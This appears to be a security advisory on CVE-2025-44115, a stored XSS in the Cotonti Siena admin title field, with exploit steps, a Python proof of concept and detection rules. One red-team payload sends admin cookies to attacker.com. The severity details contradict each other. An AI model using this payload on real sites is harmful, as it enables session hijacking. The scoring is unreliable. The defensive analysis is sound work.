CVE-2025-44115

Executive Summary

CVE-2025-44115 is a stored cross-site scripting (XSS) vulnerability identified in Cotonti Siena version 0.9.25. The flaw resides in the /admin.php?m=config&n=edit&o=core&p=title endpoint, where the title parameter is not properly sanitized before being rendered. An authenticated attacker with administrative privileges can inject arbitrary JavaScript, which will execute in the context of other administrators viewing the configuration page. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for authentication and user interaction. No official patch has been released as of the analysis date.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but exploitation requires an authenticated session to trigger the stored XSS)
• User Interaction: Required (victim must visit the admin page)
• Scope: Unchanged
• Confidentiality Impact: Low (potential data exfiltration)
• Integrity Impact: Low (potential content manipulation)
• Availability Impact: None

Threat Level: Medium. The vulnerability requires an attacker to have admin-level access to inject the payload, but once stored, any admin viewing the configuration page will execute the script. This can lead to session hijacking, credential theft, or further compromise of the CMS.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the Cotonti Siena admin panel. The title parameter in the configuration editor is stored in the database and later rendered without proper encoding. The attack flow:

1. Prerequisite: Attacker must have administrative credentials (or trick an admin into performing the action).
2. Injection: The attacker navigates to /admin.php?m=config&n=edit&o=core&p=title and sets the title parameter to a malicious payload, e.g., <script>alert('XSS')</script>.
3. Storage: The payload is saved to the site configuration.
4. Trigger: When any administrator visits the configuration page (or any page that renders the site title), the script executes in their browser.

The root cause is insufficient output encoding. The application likely uses echo $title or similar without htmlspecialchars() or equivalent sanitization.

Vulnerable vs. Patched Code

Vulnerable Code (Cotonti Siena v0.9.25):

// In admin configuration handler
$title = $_POST['title'];
// ... save to database ...
// In template rendering
echo $title; // No sanitization

Patched Code (Hypothetical fix):

// In admin configuration handler
$title = htmlspecialchars($_POST['title'], ENT_QUOTES, 'UTF-8');
// ... save to database ...
// In template rendering
echo $title; // Now safe

The patch would apply htmlspecialchars() or use a templating engine that auto-escapes output. Since no official patch exists, users must manually sanitize.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to Cotonti Siena v0.9.25 admin panel with valid credentials.
• Knowledge of the target URL.

Exploit Steps:

1. Log in to the admin panel.
2. Navigate to: http://target/admin.php?m=config&n=edit&o=core&p=title
3. In the title field, inject a payload:

   <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the configuration.
5. Wait for another admin to visit the configuration page, or trigger it yourself.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target"
session = requests.Session()
# Login first (credentials required)
login_data = {"username": "admin", "password": "password"}
session.post(f"{target}/admin.php", data=login_data)

# Inject XSS payload
payload = "<script>alert('XSS')</script>"
config_url = f"{target}/admin.php?m=config&n=edit&o=core&p=title"
session.post(config_url, data={"title": payload})
print("Payload injected. Visit the admin page to trigger.")

Blue Team (Detection & Hardening)

Detection:

• Monitor admin panel access logs for unusual title parameter values containing <script> tags.
• Use WAF rules to block requests with JavaScript in the title field.

Hardening:

• Apply input validation: allow only alphanumeric characters and spaces in the title.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Upgrade to a patched version when available.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /admin.php?m=config&n=edit&o=core&p=title with title containing <script> tags.
• File: Modified database entries in the cot_config table where config_value contains JavaScript.
• Log: Admin access logs showing repeated configuration edits by non-admin users (if privilege escalation occurs).
• Behavior: Unexpected JavaScript execution in the admin panel, such as alert boxes or network requests to external domains.

Detection Engineering

YARA Rule

rule CVE_2025_44115_XSS_Payload {
    meta:
        description = "Detects XSS payload in Cotonti title parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-44115"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Cotonti Admin XSS via Title Parameter
id: cve-2025-44115
status: experimental
description: Detects XSS attempts in Cotonti admin panel title field
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'admin.php?m=config&n=edit&o=core&p=title'
        cs-request: '*<script>*'
    condition: selection
falsepositives:
    - Legitimate admin testing
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-44115 Cotonti Admin XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin.php?m=config&n=edit&o=core&p=title"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Manual Sanitization: Edit the Cotonti source code to apply htmlspecialchars() to the title output in the admin template.
2. WAF Rules: Deploy a Web Application Firewall rule to block requests containing <script> in the title parameter.
3. Access Control: Restrict admin panel access to trusted IPs only.

Long-Term Fix:

• Monitor the Cotonti project for an official patch. If none is released, consider migrating to a supported CMS.
• Implement a Content Security Policy (CSP) header: Content-Security-Policy: default-src 'self'; script-src 'self'.

Workaround:

• Disable the ability to edit the site title via the admin panel if not needed, or add client-side validation to reject HTML tags.

Valters IT